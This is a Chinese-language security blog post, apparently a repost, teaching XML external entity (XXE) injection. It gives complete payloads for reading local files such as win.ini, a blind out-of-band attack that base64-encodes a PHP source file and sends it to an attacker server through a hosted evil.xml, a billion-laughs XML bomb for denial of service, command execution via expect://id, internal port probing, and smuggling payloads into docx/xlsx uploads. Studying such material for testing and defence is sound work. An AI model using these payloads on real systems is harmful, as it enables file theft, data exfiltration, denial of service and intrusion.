原文链接:https://www.yuque.com/ni4n/blogs/by3v79

XXE漏洞

简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

外部实体

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议

XXE漏洞的简单用法(转载) - 图1

声明

  1. <!ENTITY 实体名称 SYSTEM "URI/URL">

引用

一个实体的引用,由三部分构成:&符号, 实体名称, 分号。

参数实体

声明

  1. 内部:<!ENTITY % 实体名称 "实体值">
  2. 外部:<!ENTITY % 实体名称 SYSTEM "URI"

注意

  1. (1)使用 % 实体名(这里面空格不能少) DTD 中定义,并且只能在 DTD 中使用 “%实体名;” 引用
  2. (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
  3. (3)和通用实体一样,参数实体也可以外部引用

读取任意文件

有回显读取

利用file协议

抓包发现响应包内容为username

XXE漏洞的简单用法(转载) - 图2

构造payload

  1. <?xml version="1.0"?>
  2. <!DOCTYPE hack [
  3. <!ENTITY test SYSTEM "file:///c:/windows/win.ini">
  4. ]>
  5. <user><username>&test;</username><password>123456</password></user>

XXE漏洞的简单用法(转载) - 图3
但是如果读取的文件里有<或者&时就会爆错,所以可以用php://flter协议
XXE漏洞的简单用法(转载) - 图4

无回显读取

可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。
比如自己服务器地址为192.168.59.132
则构造payload

  1. <?xml version="1.0"?>
  2. <!DOCTYPE test[
  3. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/PHPstudys/PHPTutorial/WWW/php_xxe/doLogin.php">
  4. <!ENTITY % dtd SYSTEM "http://192.168.59.132/evil.xml">
  5. %dtd;
  6. %send;
  7. ]>

然后在服务器的web目录放一个evil.xml文件
内容如下

  1. <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.59.132/?content=%file;'>"> %payload;

随后监控apache日志就会获得读取的内容

DOS攻击(Denial of service:拒绝服务)

XML炸弹

  1. <?xml version="1.0"?>
  2. <!DOCTYPE lolz [
  3. <!ENTITY lol "lol">
  4. <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  6. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  7. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  8. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  9. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  10. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  11. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  12. ]>
  13. <lolz>&lol9;</lolz>

当解析该文件时,由于递归引用,会使其展开后占用大量内存,但是目前服务器硬件大多能抵御此类攻击

命令执行

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,但是测试时候可以尝试下
payload

  1. <?xml version="1.0"?>
  2. <!DOCTYPE root [ <!ELEMENT ANY >
  3. <!ENTITY xxe SYSTEM "expect://id" >]>
  4. <root>&xxe;</root>

内网探测

和SSRF一样,利用http协议探测端口

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE user SYSTEM "http://192.168.1.223:999">
  3. <user><username>&all;</username><password>132123</password></user>

利用docx&xlsx

在docx或xlsx上传处,往往会有XXE
方法:
用7z打开文件,把里面的XML文件拖出来
然后插入payload
然后复原,上传

参考

https://mature-sec.com/post/xxe%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
https://xz.aliyun.com/t/6754#toc-15